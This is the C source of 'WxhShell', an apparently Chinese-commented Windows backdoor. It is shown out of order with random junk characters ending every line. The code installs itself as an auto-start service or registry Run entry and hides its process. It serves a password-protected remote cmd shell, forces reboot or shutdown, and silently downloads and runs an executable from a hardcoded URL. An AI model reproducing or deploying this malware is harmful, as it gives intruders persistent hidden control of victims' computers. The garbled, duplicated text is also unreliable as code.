    closesocket(wsh); .3XiL=^~Qp  
    ExitThread(0); rnp; R  
    } /0Qo(  
    break; f#m@eb  
    } 4,h)<(d{  
  // 获取shell 8;c\} D  
  case 's': { Qp)?wny4  
    CmdShell(wsh); D^P0X:T]  
    closesocket(wsh); %zRuIDmv  
    ExitThread(0); "UhE'\()  
    break; A #m_w*  
  } 8t, &dq  
  // 退出 RW1+y/#%P  
  case 'x': { v6Y[_1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R^sgafGl=  
    CloseIt(wsh); Z(t O]tQE  
    break; 0aI@m  
    } <Kr`R+Q$DN  
  // 离开 NZADHO@0  
  case 'q': { .f. tPm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nN@ Ch  
    closesocket(wsh); *8;<w~  
    WSACleanup(); ' S,g3  
    exit(1); gzH;`,  
    break; * a1q M?  
        } @JLN3  
  } }NG P!  
  } x?u@ j7[  
S?a4 IK  
  // 提示信息 ~)>.%`v&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZGI<L  
} ?p 4iXHE  
  } >"b\$",~6  
c93 Ok|  
  return; &`vThs[x  
} kTT%< e  
#.fJ M:"tG  
// shell模块句柄 !+z^VcV  
int CmdShell(SOCKET sock) #Cy3x-!  
{ )+8r$ i  
STARTUPINFO si; #Dz"g_d  
ZeroMemory(&si,sizeof(si)); ZG#:3d*)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Vkd_&z7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KLVYWZib  
PROCESS_INFORMATION ProcessInfo; xx7&y !_  
char cmdline[]="cmd"; k$8Zg*)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NG:4Q.G1g  
  return 0; @OUBo;/  
} (JnEso-V  
+j+ v(-  
// 自身启动模式 K3h7gY|.  
int StartFromService(void) _/cX!/"  
{ QlR~rFs9t  
typedef struct j%Z5[{!/,X  
{ C2=PGq  
  DWORD ExitStatus; iQG]v[$  
  DWORD PebBaseAddress; matm>3n  
  DWORD AffinityMask; 4 x4[  
  DWORD BasePriority; h)j#?\KYm9  
  ULONG UniqueProcessId; 3vAP&i'I  
  ULONG InheritedFromUniqueProcessId; <gH-`3 J6  
}   PROCESS_BASIC_INFORMATION; 0pW;H|h  
]GCw3r(!  
PROCNTQSIP NtQueryInformationProcess;  F0zaA  
YPq:z"`-y4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .V0fbHYTJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qTwl\dcncC  
n@"<NKzh  
  HANDLE             hProcess; y:$qX*+9e  
  PROCESS_BASIC_INFORMATION pbi; ZF#n(Y?  
Cc`-34/%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n c~JAT# '  
  if(NULL == hInst ) return 0; :AqtPV'  
*&_cp]3-WF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aj .7t =^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )1@%!fr  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /uDcJ1u66  
ePv`R'#  
  if (!NtQueryInformationProcess) return 0; (V'w5&f(L  
WS.g` %  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); P_  8!Gp  
  if(!hProcess) return 0; N=T}  
)8}k.t>'s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WJa7  
 Z,O-P9jC  
  CloseHandle(hProcess); wTZ(vX*mK  
%Ny1H/@Q1+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H_x} -  
if(hProcess==NULL) return 0; 7F~gA74h  
; qbK[3.  
HMODULE hMod; A:z  
char procName[255]; 52Dgul  
unsigned long cbNeeded; 5A|d hw   
#Hu# #x|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z-g6d(  
;1nXJ{jKw  
  CloseHandle(hProcess); Y9vi&G?Jl  
gae=+@z  
if(strstr(procName,"services")) return 1; // 以服务启动 5T(cy  
7,Z<PE  
  return 0; // 注册表启动 ZHeq)5C ;f  
} ;/?w-)n?  
t>*(v#WeZ  
// 主模块 NRT]dYf"z  
int StartWxhshell(LPSTR lpCmdLine) Xppb|$qp4H  
{ nec}grA  
  SOCKET wsl; Z0y~%[1X  
BOOL val=TRUE; g=qaq  
  int port=0; 3b_/QT5!  
  struct sockaddr_in door; 0CXXCa7!  
`r3 klL,W'  
  if(wscfg.ws_autoins) Install(); FU .%td=:  
 QV\a f  
port=atoi(lpCmdLine); 6o9&FU  
/z`tI  
if(port<=0) port=wscfg.ws_port; \{~CO{II  
dvZlkMm   
  WSADATA data; ]F>#0Rdc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eK*oV}U-k  
K4]ZVMm/*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `D=`xSEYl  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UhkL=+PD  
  door.sin_family = AF_INET; O#O"]A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `T7TWv"M  
  door.sin_port = htons(port); `l.bU3C  
/0fsn_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ;E.f%   
closesocket(wsl); DS7L}]  
return 1; e m)%U  
} )flm3G2u  
U,6sR  
  if(listen(wsl,2) == INVALID_SOCKET) { ,`YBTU  
closesocket(wsl); \QF0(*!!  
return 1; D Y4!RjJ47  
} Ct~j/.  
  Wxhshell(wsl); zOFHdd ,"g  
  WSACleanup(); n|DMj[uT  
Yh@2m9  
return 0; A8ef=ljM?  
k4u/v n`&r  
} _29wQn@]  
"XLtrAu{  
// 以NT服务方式启动 Yl"CIgt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) shy[>\w  
{ U@n5:d=  
DWORD   status = 0; z\8s |!  
  DWORD   specificError = 0xfffffff; 8JF<SQ  
>BK/HuS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kw gLK@@%1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `VUJW]wGu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x^pt^KR;  
  serviceStatus.dwWin32ExitCode     = 0; #G`K<%{?f  
  serviceStatus.dwServiceSpecificExitCode = 0; 5VQ-D`kE+  
  serviceStatus.dwCheckPoint       = 0; H8dS]N~[Y  
  serviceStatus.dwWaitHint       = 0; =2NrmwWZs  
W+U0Y,N6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }gt)cOaY  
  if (hServiceStatusHandle==0) return; birc&<  
-U A &Zt  
status = GetLastError(); JXq!v:w6  
  if (status!=NO_ERROR) J-uQF|   
{ y0&vsoT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4E2/?3D  
    serviceStatus.dwCheckPoint       = 0; |mbD q\U  
    serviceStatus.dwWaitHint       = 0;  &.s.g\  
    serviceStatus.dwWin32ExitCode     = status; enQW;N1_M  
    serviceStatus.dwServiceSpecificExitCode = specificError; a8ouk7 G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6oZHSjC*  
    return; ]o0]i<:  
  } WvfM.D!  
g"kI1^[nj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UpE +WzY  
  serviceStatus.dwCheckPoint       = 0; }' Y)"8AIA  
  serviceStatus.dwWaitHint       = 0; v'Ehr**]+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6~2upy~e  
} C8T0=o/-`  
p8@&(+z  
// 处理NT服务事件,比如:启动、停止 J` gG`?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >qr/1mW  
{ [{GN#W|AGP  
switch(fdwControl) ='4)E6ea?  
{ /EP zT7  
case SERVICE_CONTROL_STOP: f_xvXf:  
  serviceStatus.dwWin32ExitCode = 0; 9Oq(` 4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "p|.[d  
  serviceStatus.dwCheckPoint   = 0; UA2KY}pz5  
  serviceStatus.dwWaitHint     = 0; 5~jz| T}s  
  { U] GD6q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "M /Cl|z  
  } n=F rv*"Z  
  return; Mlo,F1'?>  
case SERVICE_CONTROL_PAUSE: 5G(dvM-n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Yo' Y-h#  
  break; p=E#!cn3  
case SERVICE_CONTROL_CONTINUE: P2aFn=f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2Vf242z_  
  break; @n.n[zb\|  
case SERVICE_CONTROL_INTERROGATE: i|AWaG)  
  break; Aaq%'07ihW  
}; I=<Qpd4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i '*!c  
} n^hkH1vY  
">3t+A  
// 标准应用程序主函数 1i~q~ O,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z}>F V~4  
{ _(8#  
!5?_)  
// 获取操作系统版本 _Z9 d.-  
OsIsNt=GetOsVer(); .s,04xW\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gt(p%~  
}d>.Nj#zh  
  // 从命令行安装 QKq4kAaJ!  
  if(strpbrk(lpCmdLine,"iI")) Install(); |%ZJN{!R  
:3D6OBkB  
  // 下载执行文件 &QW&K  
if(wscfg.ws_downexe) { _6r[msH"  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9s[   
  WinExec(wscfg.ws_filenam,SW_HIDE); 0!ZaR 6  
} &p_iAMn:9  
n^l*oEl  
if(!OsIsNt) { )`'a1y|  
// 如果时win9x,隐藏进程并且设置为注册表启动 8M,@Mb n  
HideProc(); )R'%SLw  
StartWxhshell(lpCmdLine); QKts-b[3  
} ~]d9 J  
else JA9NTu(  
  if(StartFromService()) jXALL8[c  
  // 以服务方式启动 (hZNWQ0  
  StartServiceCtrlDispatcher(DispatchTable); :):vB  
else ,]:< l  
  // 普通方式启动 *c/V('D/  
  StartWxhshell(lpCmdLine); m;{HlDez  
!9KDdU  
return 0; fmQif]J;;  
} FGyrDRDwC  
p_&B+ <z  
!z4I-a  
sZr \mQ~  
=========================================== }[UH1+`L  
pL;e(lM  
7.ein:M|CB  
V59!}kel1%  
Db*b"/]  
U!c+i#:t  
" A- Abj'  
R13k2jLSQ  
#include <stdio.h>  1hi, &h  
#include <string.h> /}6y\3h  
#include <windows.h> wL3RcXW``e  
#include <winsock2.h> V?"U)Y@Y  
#include <winsvc.h> x"R F[ d  
#include <urlmon.h> O-W[^r2e  
Q%?%zuU  
#pragma comment (lib, "Ws2_32.lib") F*Hovxez  
#pragma comment (lib, "urlmon.lib") Vjt7X"_/  
tx9 %.)M:n  
#define MAX_USER   100 // 最大客户端连接数 tKLeq(  
#define BUF_SOCK   200 // sock buffer MnF|'t  
#define KEY_BUFF   255 // 输入 buffer ILH[q>  
5EI"5&`*  
#define REBOOT     0   // 重启 id : ^|  
#define SHUTDOWN   1   // 关机 w42{)S"  
SC4jKm2  
#define DEF_PORT   5000 // 监听端口 5WRqeSGh  
CALD7qMK  
#define REG_LEN     16   // 注册表键长度 7_qsVhh]$E  
#define SVC_LEN     80   // NT服务名长度 |ZifrkD=  
=1R 2`H\  
// 从dll定义API CL7 /J[TS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;y@zvec4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kJOZ;X=9/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m,q)lbRl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N5=}0s]e  
Gsy>"T{CY  
// wxhshell配置信息 |IzL4>m:;  
struct WSCFG { L / WRVc6  
  int ws_port;         // 监听端口 h>[ qXz  
  char ws_passstr[REG_LEN]; // 口令 z(^dwMw}  
  int ws_autoins;       // 安装标记, 1=yes 0=no .6 0yQ[aE  
  char ws_regname[REG_LEN]; // 注册表键名 NopfL  
  char ws_svcname[REG_LEN]; // 服务名 nXb_\ 9E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K8BlEF`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Je9Z:s[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2~g-k 3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c1+z(NQ3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iiJT%Zq`#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y $uq`FW  
b`S9#`  
}; s91[DT4  
/c-k{5mH%  
// default Wxhshell configuration L?0IUGY  
struct WSCFG wscfg={DEF_PORT, +`Nu0y!rj  
    "xuhuanlingzhe", <[}zw!z  
    1, #<m2Xo?d]  
    "Wxhshell", %'e$N9zd  
    "Wxhshell", 2|RoN)%  
            "WxhShell Service", F^!O\8PFd  
    "Wrsky Windows CmdShell Service", l?J[K  
    "Please Input Your Password: ", g +gcH  
  1, OiZ-y7;k^  
  "http://www.wrsky.com/wxhshell.exe", '@#(jY0_  
  "Wxhshell.exe" ~-lUS0duh  
    }; )c9Xp:  
e<`?$tZ3   
// 消息定义模块 >Jn`RsuV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lnjs{`^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "10\y{`v^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V62lN<M  
char *msg_ws_ext="\n\rExit."; (]I=';\  
char *msg_ws_end="\n\rQuit."; sIaehe'B  
char *msg_ws_boot="\n\rReboot..."; >Sk%78={R  
char *msg_ws_poff="\n\rShutdown..."; d`$w3Hy  
char *msg_ws_down="\n\rSave to "; +cmi?~KS*  
}.9a!/@Aj  
char *msg_ws_err="\n\rErr!"; \vV]fX   
char *msg_ws_ok="\n\rOK!"; u 6l)s0Q  
xnWezO_  
char ExeFile[MAX_PATH]; MwSfuP  
int nUser = 0; 0~W XA=XG  
HANDLE handles[MAX_USER]; Bv3B|D&+  
int OsIsNt; '4u/g  
&X` lh P  
SERVICE_STATUS       serviceStatus; tK*y/S  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rb:?%\=  
knV*,   
// 函数声明 c>/7E-T  
int Install(void); '3Fb[md54  
int Uninstall(void); N:+EGmp  
int DownloadFile(char *sURL, SOCKET wsh); tIod=a)  
int Boot(int flag); Zj ^e8u=T  
void HideProc(void); \j wxW6>  
int GetOsVer(void); $w-@Oa*h9U  
int Wxhshell(SOCKET wsl); 7MJ\*+T|03  
void TalkWithClient(void *cs); j)iUg03>/4  
int CmdShell(SOCKET sock); \ /Q~C!  
int StartFromService(void); X#ha*u~U  
int StartWxhshell(LPSTR lpCmdLine); *x p_#  
0ZI}eZA j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y>u |3:z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7!Im|7Ty  
?LU>2!jN  
// 数据结构和表定义 3bo [34  
SERVICE_TABLE_ENTRY DispatchTable[] = N;!!*3a9=  
{ p*@t$0i  
{wscfg.ws_svcname, NTServiceMain}, "66#F  
{NULL, NULL} e!w2_6?3  
}; /6y{ ?0S  
sVmqx^-  
// 自我安装 IFa~`Gf[  
int Install(void) KZAF9   
{ @/$i -?E  
  char svExeFile[MAX_PATH]; p g_H'0R  
  HKEY key; q?]KZ_a  
  strcpy(svExeFile,ExeFile); , v=pp;  
8o $ ` '  
// 如果是win9x系统,修改注册表设为自启动 Tl]yl$  
if(!OsIsNt) { w r,+9uK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /!p}H'jl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7,alZ"%W  
  RegCloseKey(key); [fvjvN`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N0\<B-8+,>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]8Xip/uE  
  RegCloseKey(key); \ZE=WvnhZ  
  return 0; $ZB`4!JxG  
    } W* v3B.  
  } A>FWvlLw'm  
} N Mx:Jh-YN  
else { Y!Io @{f  
m$pRA0s2`  
// 如果是NT以上系统,安装为系统服务 [!uVo>Q4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^1_[UG  
if (schSCManager!=0) AqaMi  
{ ~>~qA0m"m  
  SC_HANDLE schService = CreateService f3>DmH#  
  ( U. $Th_  
  schSCManager, Y5"HKW^  
  wscfg.ws_svcname, # M!1W5#  
  wscfg.ws_svcdisp, 7+X~i@#rU  
  SERVICE_ALL_ACCESS, &Ll&A@yU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , uAoZ&8D6  
  SERVICE_AUTO_START, @^g~F&Ta  
  SERVICE_ERROR_NORMAL,  H ="I=}  
  svExeFile, D$NpyF.87  
  NULL, X2:23j<  
  NULL, WlGT&m&2  
  NULL, d 792#Dc  
  NULL, O;}K7rSc  
  NULL [U"/A1p  
  ); JB.U&  
  if (schService!=0) uq54+zC  
  { ]0|A\bE\S  
  CloseServiceHandle(schService); 7~k=t!gTY  
  CloseServiceHandle(schSCManager); t&EY$'c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N qz6_!  
  strcat(svExeFile,wscfg.ws_svcname); E8p,l>6(f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Mk+G(4p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M,bs`amz  
  RegCloseKey(key); 8B(v6(h  
  return 0; Z`ww[Tbv~  
    } k{UeY[,jb  
  } x#R6Ez7  
  CloseServiceHandle(schSCManager); L2~'Z'q  
} T"gk^.  
} a1_o  
P$*Ngt  
return 1; Sw5-^2x0'  
} /5j5\F:33  
R*S:/s  
// 自我卸载 Y#=MN~##t  
int Uninstall(void) >V]9<*c  
{ #5'& |<  
  HKEY key; ``6-   
Nv6"c<(L=  
if(!OsIsNt) { 6f ?,v5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { . sFN[>)  
  RegDeleteValue(key,wscfg.ws_regname); IvI..#EzG  
  RegCloseKey(key); \/V#,O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X:g#&e_  
  RegDeleteValue(key,wscfg.ws_regname); 'V&Uh]>  
  RegCloseKey(key); x',6VTz^  
  return 0; &`tAQN*Z  
  } ~<s^HP2U{  
} urCTP.F  
} ~{vB2  
else { kY{$[+-jR  
kOq8zYU|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >s0![coz  
if (schSCManager!=0) i27)c)\BM  
{ oDi+\0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Qh-:P`CN  
  if (schService!=0) WY!4^<|w"  
  { f#w u~*c  
  if(DeleteService(schService)!=0) { 1KBGML-K3  
  CloseServiceHandle(schService); WjM7s]ZRv  
  CloseServiceHandle(schSCManager); (+/d*4  
  return 0; NuD|%Ebs  
  } MxKTKBxQ  
  CloseServiceHandle(schService); `<M>"~W  
  } RgQs`aI  
  CloseServiceHandle(schSCManager); _:p-\Oo.  
} J.M&Vj:  
} :Q@/F;Z?  
uLPBl~Y  
return 1; 5/7(>ivn  
} mw;4/ /R  
AYN dV(  
// 从指定url下载文件 |5X[/Q*K`W  
int DownloadFile(char *sURL, SOCKET wsh) [;sTl~gC  
{ =adHP|S  
  HRESULT hr; IAq o(Qm  
char seps[]= "/";  Y#~A":A  
char *token; d%-/U!z?  
char *file; %d(= >  
char myURL[MAX_PATH]; iemp%~UZ  
char myFILE[MAX_PATH]; $gD8[NAIx=  
z0SF2L H  
strcpy(myURL,sURL); |g!d[ct]  
  token=strtok(myURL,seps); N2duhI6  
  while(token!=NULL) V %D1Q}X  
  { 32%Fdz1S  
    file=token; *h3iAcM8  
  token=strtok(NULL,seps); K5 BL4N  
  } ctjQBWE  
&vn2u bauS  
GetCurrentDirectory(MAX_PATH,myFILE); +`g&hO\W  
strcat(myFILE, "\\"); '=#fELMW  
strcat(myFILE, file); U"+W)rUd  
  send(wsh,myFILE,strlen(myFILE),0); G :k'm^k  
send(wsh,"...",3,0); UOl*wvy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n_9Ex&?e  
  if(hr==S_OK) 72yJv=G  
return 0; A~<!@`NjB  
else [(5.?  
return 1; `&OX|mL^w  
b:p0@|y  
} 0`-b57lF&  
DZnqCu"J  
// 系统电源模块 %DXBl:!Y`  
int Boot(int flag) A8Fe@$<#8  
{ Vd  d  
  HANDLE hToken; x-X~'p'f  
  TOKEN_PRIVILEGES tkp; BI%XF 9{  
#u8#< ,w  
  if(OsIsNt) { 9q_{_%G%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [3nWxFz$R  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dr:x0>  
    tkp.PrivilegeCount = 1; Xo/H+[;X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cy;i1#1rO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); vO~  Tx  
if(flag==REBOOT) { CE c(2q+%i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]77f`<q<}!  
  return 0; [WG\w j.  
} -`* 'p i  
else { m6n%?8t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S)j( %g  
  return 0; :-JryiI  
} <<A#4!f  
  } n-l_PhPQ`  
  else { CW?Z\  
if(flag==REBOOT) { ftR& 5 !Wm  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 83t/ \x,Q  
  return 0; :W1?t*z:[  
} w]{c*4o  
else { % ym};7'&b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *K;) ~@n  
  return 0; :=ek~s.UV  
} 51Y%"v t  
} p$'S\W|  
vJ^~J2#5  
return 1; 'g,h  
} ^4^N}7>5  
lMvOYv  
// win9x进程隐藏模块 :,Y1#_\  
void HideProc(void) ~i>DF`w$  
{ ~o"=4q`>  
8{2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); o9"?z  
  if ( hKernel != NULL ) U{M3QOF  
  { 'kcR:5B  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aXJ/"k #Tl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6Jb0MX"AVr  
    FreeLibrary(hKernel); NGl 8*Af   
  } 3,{eH6,O7M  
 ,S=[#  
return; rMbq_5}  
} 0r1GGEW`s  
9 $$uk'}w!  
// 获取操作系统版本 nf 8V:y4  
int GetOsVer(void) FrXP"U}Y  
{ N n FR;  
  OSVERSIONINFO winfo; cVL|kYVWT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |zpy!X3  
  GetVersionEx(&winfo); ~at@3j}W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K8X7IE  
  return 1; f/#Id]B  
  else 'A7!@hVy  
  return 0; 8lYA6A  
} 1?FG3X 5  
DMG~56cTO,  
// 客户端句柄模块 /ta}12Z  
int Wxhshell(SOCKET wsl) K xX[8  
{ yef\Y3X  
  SOCKET wsh; U,EoCAm>  
  struct sockaddr_in client; bAZoi0LR  
  DWORD myID; kP&I}RY  
e! *] y&W  
  while(nUser<MAX_USER) QTi@yT:  
{ 9Sxr9FLW~  
  int nSize=sizeof(client); m.Zy$SDj(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 06f%{mAZS  
  if(wsh==INVALID_SOCKET) return 1; kWZY+jyt P  
018SFle  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BA2"GJvfIA  
if(handles[nUser]==0) O?Bf (y  
  closesocket(wsh); _) x{TnK  
else xyk%\&"7  
  nUser++; ?o;ip  
  } Mu[lk=jC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #:gl+  
2MRd  
  return 0; OVi < d  
} Ul_Zn  
1#,4P1"  
// 关闭 socket rxgSQ+G_  
void CloseIt(SOCKET wsh) $lf/Mg_H  
{ B\RAX#  
closesocket(wsh); Zpkd8@g@  
nUser--; =eU=\td^  
ExitThread(0); vYm:V:7Y2  
} Za{O9Qc?D|  
/f1]U LmC:  
// 客户端请求句柄 Q /4-7  
void TalkWithClient(void *cs) t[`LG)  
{ Gg'!(]v  
]i.N'O<p  
  SOCKET wsh=(SOCKET)cs; QX<n^W  
  char pwd[SVC_LEN]; A,<5W }  
  char cmd[KEY_BUFF]; {wz)^A sy  
char chr[1]; ,^?g\&f(  
int i,j; y2_rm   
@^UgdD,BS,  
  while (nUser < MAX_USER) { mcd{:/^?  
}S u j=oFp  
if(wscfg.ws_passstr) { 8j#S+=l>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1DB{"8ov  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M=Ze)X\E*'  
  //ZeroMemory(pwd,KEY_BUFF); DlUKhbo$g  
      i=0; Q`9c/vPU  
  while(i<SVC_LEN) { D wJ^ W&*  
mxgT}L0i  
  // 设置超时 t8-Nli*O  
  fd_set FdRead; b_~XTWP$l  
  struct timeval TimeOut; LRu,_2"  
  FD_ZERO(&FdRead); r89AX{:  
  FD_SET(wsh,&FdRead); /&Oo)OB;  
  TimeOut.tv_sec=8; l|WFS  
  TimeOut.tv_usec=0; F}u'A,Hc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >SDQ@63E?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (Ut8pa+yX  
p*Q-o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !y b06Z\f  
  pwd=chr[0]; B8Fb$  
  if(chr[0]==0xd || chr[0]==0xa) { RD:G 9[  
  pwd=0; $^iio@SW{  
  break; Fa>f'VXx  
  } #4bT8kq  
  i++; u4~+Bc_GL  
    } >whv*@Fr  
D;> 7y}\  
  // 如果是非法用户,关闭 socket x;7l>uR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t,f ec>.  
} uM`i!7}  
jlj ge=#c2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 66pjWS {X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .b]s Q'  
"KP]3EyPc  
while(1) { [y9a.*]u/@  
.gg0rTf=-  
  ZeroMemory(cmd,KEY_BUFF); 6U !P8q  
vd lss|  
      // 自动支持客户端 telnet标准   DSwb8q  
  j=0; X=whZ\EZ  
  while(j<KEY_BUFF) { J]TqH`MA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _l7_!Il_  
  cmd[j]=chr[0]; `Jc/ o=]  
  if(chr[0]==0xa || chr[0]==0xd) { X+]>pA  
  cmd[j]=0; lZ-U/$od  
  break; S3Y.+. 0U  
  } ,N(Yjq"R  
  j++; nnj<k5  
    } H7tv iSTd  
(U&  
  // 下载文件 -SM_JR3<  
  if(strstr(cmd,"http://")) { $$m0mK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i6KfH\{N  
  if(DownloadFile(cmd,wsh)) > mO*.'Gm  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pRun5 )7  
  else Qa_V  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vr},+Rj  
  } I #1~CbR  
  else { Hnt*,C.0  
jXeE]A"  
    switch(cmd[0]) { T>asH  
  vT Eq T  
  // 帮助 4 -tC=>>wc  
  case '?': { S&}7XjY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {d[Nc,AMb  
